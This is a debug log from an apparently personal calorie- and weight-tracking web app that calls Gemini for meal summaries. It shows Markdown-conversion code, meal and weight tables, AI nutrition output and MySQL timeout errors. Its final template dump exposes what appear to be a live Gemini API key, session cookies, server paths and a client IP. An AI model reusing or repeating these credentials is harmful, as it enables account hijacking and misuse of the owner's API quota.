    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T14:56:50.439Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '| 412 | Papaya | 52 | 1 | 13 | 0 | 3 slices (approx 120g, assuming 40g per slice) |\n' +
  '| 413 | Dal Rice | 320 | 14 | 65 | 1 | 1 katori cooked Dal (approx. 150g, made from 40g dry Dal) + 1 katori cooked White Rice (approx. 150g, made from 50g dry Rice) |\n' +
  '| 414 | Mooli ka Saag | 75 | 2 | 5 | 5 | 1 katori cooked (approx. 150g, typically made from ~200g raw greens + 1 tsp oil/ghee) |\n' +
  '\n'
2025-12-16T14:56:50.439Z server-connect:app Executing action step run
2025-12-16T14:56:50.439Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T14:56:50.440Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T14:56:50.440Z server-connect:app Executing action step setvalue
2025-12-16T14:56:50.440Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-16T14:56:50.440Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '| 412 | Papaya | 52 | 1 | 13 | 0 | 3 slices (approx 120g, assuming 40g per slice) |\n' +
  '| 413 | Dal Rice | 320 | 14 | 65 | 1 | 1 katori cooked Dal (approx. 150g, made from 40g dry Dal) + 1 katori cooked White Rice (approx. 150g, made from 50g dry Rice) |\n' +
  '| 414 | Mooli ka Saag | 75 | 2 | 5 | 5 | 1 katori cooked (approx. 150g, typically made from ~200g raw greens + 1 tsp oil/ghee) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T14:56:50.440Z server-connect:app Executing action step processWithGemini
2025-12-16T14:56:50.440Z server-connect:app options: { request_type: 'meal_summary', raw_text: '{{raw_value}}' }
2025-12-16T14:56:52.148Z server-connect:output health_summary: {
  summary: "Today's intake shows a decent balance of carbohydrates and fats, with some protein sources included. The inclusion of fruits and vegetables is positive, supporting overall nutrient intake. However, protein seems to be a significant area for improvement to support muscle development goals. Meal timing appears spread throughout the day, which is generally good for sustained energy. Recovery support is adequate with the consumption of fluids.",
  rating: 6,
  good_points: [
    'Inclusion of fruits like papaya.',
    'Incorporation of vegetables like aloo gobi and mooli ka saag.',
    'Hydration through green tea.',
    'Spread of meals throughout the day.'
  ],
  bad_points: [
    'Protein content across meals appears to be suboptimal for muscle development.',
    'Some items like digestive biscuits and ketchup add less nutritional value.',
    'Potential for higher fat content depending on the preparation of sabzis and idli.',
    'Coffee with sugar may not be the most optimal choice for fueling workouts.'
  ],
  suggestions: [
    'Prioritize protein-rich sources at each meal, such as lean meats, fish, eggs, legumes, or Greek yogurt.',
    'Consider adding a protein shake or a protein-rich snack post-workout to aid muscle recovery.',
    'Increase the variety of vegetables to ensure a wider range of micronutrients.',
    'Reduce intake of processed snacks like digestive biscuits.',
    'Opt for unsweetened beverages where possible.'
  ],
  predicted_weight_trend: 'A slight downward trend is likely to continue.',
  predicted_weight: 70
}
2025-12-16T14:56:52.148Z server-connect:app Executing action step condition
2025-12-16T14:56:52.148Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-16T14:56:52.148Z server-connect:app Executing action step delete
2025-12-16T14:56:52.148Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-16T14:56:52.149Z server-connect:output delete: { affected: 1 }
2025-12-16T14:56:52.150Z server-connect:app Executing action step insert
2025-12-16T14:56:52.150Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-16T14:56:52.150Z server-connect:output insert: { affected: 1, identity: 21 }
2025-12-16T14:56:52.150Z server-connect:output condition: undefined
2025-12-16T14:56:52.483Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T14:56:52.483Z server-connect:app Executing action step identify
2025-12-16T14:56:52.483Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:52.483Z server-connect:output identity: 1
2025-12-16T14:56:52.483Z server-connect:app Executing action step restrict
2025-12-16T14:56:52.483Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:52.483Z server-connect:output restrict: undefined
2025-12-16T14:56:52.483Z server-connect:app Executing action step single
2025-12-16T14:56:52.483Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T14:56:52.484Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake shows a decent balance of carbohydrates and fats, with some protein sources included. The inclusion of fruits and vegetables is positive, supporting overall nutrient intake. However, protein seems to be a significant area for improvement to support muscle development goals. Meal timing appears spread throughout the day, which is generally good for sustained energy. Recovery support is adequate with the consumption of fluids.",
    bad_points: [
      'Protein content across meals appears to be suboptimal for muscle development.',
      'Some items like digestive biscuits and ketchup add less nutritional value.',
      'Potential for higher fat content depending on the preparation of sabzis and idli.',
      'Coffee with sugar may not be the most optimal choice for fueling workouts.'
    ],
    good_points: [
      'Inclusion of fruits like papaya.',
      'Incorporation of vegetables like aloo gobi and mooli ka saag.',
      'Hydration through green tea.',
      'Spread of meals throughout the day.'
    ],
    suggestions: [
      'Prioritize protein-rich sources at each meal, such as lean meats, fish, eggs, legumes, or Greek yogurt.',
      'Consider adding a protein shake or a protein-rich snack post-workout to aid muscle recovery.',
      'Increase the variety of vegetables to ensure a wider range of micronutrients.',
      'Reduce intake of processed snacks like digestive biscuits.',
      'Opt for unsweetened beverages where possible.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'A slight downward trend is likely to continue.'
  },
  date: '2025-12-15T18:30:00.000Z'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 15:03:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 15:03:36' as DATETIME)"
}
2025-12-16T15:53:30.135Z server-connect:app Executing action step identify
2025-12-16T15:53:30.136Z server-connect:app options: { provider: 'security' }
2025-12-16T15:53:30.136Z server-connect:output identity: 1
2025-12-16T15:53:33.403Z server-connect:app Executing action step identify
2025-12-16T15:53:33.403Z server-connect:app options: { provider: 'security' }
2025-12-16T15:53:33.403Z server-connect:output identity: 1
2025-12-16T16:10:47.233Z server-connect:app Executing action step identify
2025-12-16T16:10:47.233Z server-connect:app options: { provider: 'security' }
2025-12-16T16:10:47.233Z server-connect:output identity: 1
2025-12-16T16:10:50.008Z server-connect:app Executing action step identify
2025-12-16T16:10:50.008Z server-connect:app options: { provider: 'security' }
2025-12-16T16:10:50.008Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 16:27:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 16:27:36' as DATETIME)"
}
2025-12-16T16:28:36.568Z server-connect:app Executing action step identify
2025-12-16T16:28:36.569Z server-connect:app options: { provider: 'security' }
2025-12-16T16:28:36.569Z server-connect:output identity: 1
2025-12-16T16:28:39.063Z server-connect:app Executing action step identify
2025-12-16T16:28:39.063Z server-connect:app options: { provider: 'security' }
2025-12-16T16:28:39.063Z server-connect:output identity: 1
2025-12-16T16:31:09.944Z server-connect:app Executing action step identify
2025-12-16T16:31:09.944Z server-connect:app options: { provider: 'security' }
2025-12-16T16:31:09.945Z server-connect:output identity: 1
2025-12-16T16:31:12.336Z server-connect:app Executing action step identify
2025-12-16T16:31:12.336Z server-connect:app options: { provider: 'security' }
2025-12-16T16:31:12.337Z server-connect:output identity: 1
2025-12-16T16:33:41.846Z server-connect:app Executing action step identify
2025-12-16T16:33:41.847Z server-connect:app options: { provider: 'security' }
2025-12-16T16:33:41.847Z server-connect:output identity: 1
2025-12-16T16:33:45.353Z server-connect:app Executing action step identify
2025-12-16T16:33:45.353Z server-connect:app options: { provider: 'security' }
2025-12-16T16:33:45.353Z server-connect:output identity: 1
2025-12-16T16:40:05.231Z server-connect:app Executing action step identify
2025-12-16T16:40:05.231Z server-connect:app options: { provider: 'security' }
2025-12-16T16:40:05.231Z server-connect:output identity: 1
2025-12-16T16:40:06.943Z server-connect:app Executing action step identify
2025-12-16T16:40:06.943Z server-connect:app options: { provider: 'security' }
2025-12-16T16:40:06.943Z server-connect:output identity: 1
2025-12-16T16:46:56.224Z server-connect:app Executing action step identify
2025-12-16T16:46:56.224Z server-connect:app options: { provider: 'security' }
2025-12-16T16:46:56.224Z server-connect:output identity: 1
2025-12-16T16:46:58.006Z server-connect:app Executing action step identify
2025-12-16T16:46:58.006Z server-connect:app options: { provider: 'security' }
2025-12-16T16:46:58.006Z server-connect:output identity: 1
2025-12-16T16:51:24.225Z server-connect:app Executing action step identify
2025-12-16T16:51:24.225Z server-connect:app options: { provider: 'security' }
2025-12-16T16:51:24.226Z server-connect:output identity: 1
2025-12-16T16:51:26.461Z server-connect:app Executing action step identify
2025-12-16T16:51:26.461Z server-connect:app options: { provider: 'security' }
2025-12-16T16:51:26.461Z server-connect:output identity: 1
2025-12-16T16:53:58.534Z server-connect:app Executing action step identify
2025-12-16T16:53:58.534Z server-connect:app options: { provider: 'security' }
2025-12-16T16:53:58.534Z server-connect:output identity: 1
2025-12-16T16:54:00.789Z server-connect:app Executing action step identify
2025-12-16T16:54:00.789Z server-connect:app options: { provider: 'security' }
2025-12-16T16:54:00.789Z server-connect:output identity: 1
2025-12-16T16:59:18.928Z server-connect:app Executing action step identify
2025-12-16T16:59:18.928Z server-connect:app options: { provider: 'security' }
2025-12-16T16:59:18.928Z server-connect:output identity: 1
2025-12-16T16:59:20.356Z server-connect:app Executing action step identify
2025-12-16T16:59:20.356Z server-connect:app options: { provider: 'security' }
2025-12-16T16:59:20.356Z server-connect:output identity: 1
2025-12-16T16:59:28.236Z server-connect:app Executing action step identify
2025-12-16T16:59:28.236Z server-connect:app options: { provider: 'security' }
2025-12-16T16:59:28.237Z server-connect:output identity: 1
2025-12-16T16:59:28.710Z server-connect:app Executing action step identify
2025-12-16T16:59:28.710Z server-connect:app options: { provider: 'security' }
2025-12-16T16:59:28.710Z server-connect:output identity: 1
2025-12-16T17:05:17.234Z server-connect:app Executing action step identify
2025-12-16T17:05:17.234Z server-connect:app options: { provider: 'security' }
2025-12-16T17:05:17.234Z server-connect:output identity: 1
2025-12-16T17:05:19.602Z server-connect:app Executing action step identify
2025-12-16T17:05:19.602Z server-connect:app options: { provider: 'security' }
2025-12-16T17:05:19.602Z server-connect:output identity: 1
2025-12-16T17:15:18.543Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-16T17:15:18.543Z server-connect:app Executing action step identify
2025-12-16T17:15:18.543Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:18.544Z server-connect:output identity: 1
2025-12-16T17:15:18.544Z server-connect:app Executing action step restrict
2025-12-16T17:15:18.544Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T17:15:18.546Z server-connect:output restrict: undefined
2025-12-16T17:15:18.546Z server-connect:app Executing action step processWithGemini
2025-12-16T17:15:18.546Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-16T17:15:37.334Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Whole Milk',
      quantity: '1 glass (approx 240ml, assuming full-fat milk)',
      total_calories: 150,
      protein: 8,
      carbs: 12,
      fat: 8,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of protein, calcium, and calories needed for muscle development. Whole milk provides healthy fats which can be beneficial for energy and hormone production, which is good for your active lifestyle. If you wish to reduce fat intake, toned or skim milk are good alternatives.'
    },
    {
      food_name: 'Whey Protein',
      quantity: '1 scoop (approx 30g total powder, providing 25g protein)',
      total_calories: 120,
      protein: 25,
      carbs: 3,
      fat: 2,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent, fast-digesting protein source. It is highly recommended for someone with muscle development goals, especially around early morning gym sessions, as it aids in muscle repair and growth effectively.'
    }
  ],
  total_summary: {
    total_calories: 270,
    total_protein: '33 g',
    total_carbs: '15 g',
    total_fat: '10 g'
  }
}
2025-12-16T17:15:42.093Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-16T17:15:42.094Z server-connect:app Executing action step identify
2025-12-16T17:15:42.094Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:42.094Z server-connect:output identity: 1
2025-12-16T17:15:42.094Z server-connect:app Executing action step restrict
2025-12-16T17:15:42.094Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T17:15:42.094Z server-connect:output restrict: undefined
2025-12-16T17:15:42.094Z server-connect:app Executing action step condition
2025-12-16T17:15:42.095Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-16T17:15:42.095Z server-connect:app Executing action step repeat
2025-12-16T17:15:42.095Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-16T17:15:42.095Z server-connect:app Executing action step insert
2025-12-16T17:15:42.095Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T17:15:42.097Z server-connect:output calories: { affected: 1, identity: 415 }
2025-12-16T17:15:42.097Z server-connect:app Executing action step insert
2025-12-16T17:15:42.097Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T17:15:42.098Z server-connect:output calories: { affected: 1, identity: 416 }
2025-12-16T17:15:42.098Z server-connect:output repeat: [ {}, {} ]
2025-12-16T17:15:42.098Z server-connect:output condition: undefined
2025-12-16T17:15:42.305Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T17:15:42.305Z server-connect:app Executing action step identify
2025-12-16T17:15:42.305Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:42.306Z server-connect:output identity: 1
2025-12-16T17:15:42.306Z server-connect:app Executing action step restrict
2025-12-16T17:15:42.306Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T17:15:42.306Z server-connect:output restrict: undefined
2025-12-16T17:15:42.306Z server-connect:router Render template layouts/main
2025-12-16T17:15:42.306Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14fab-oN3NSm5Qcl/YsEqK1ThBSa02/A8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
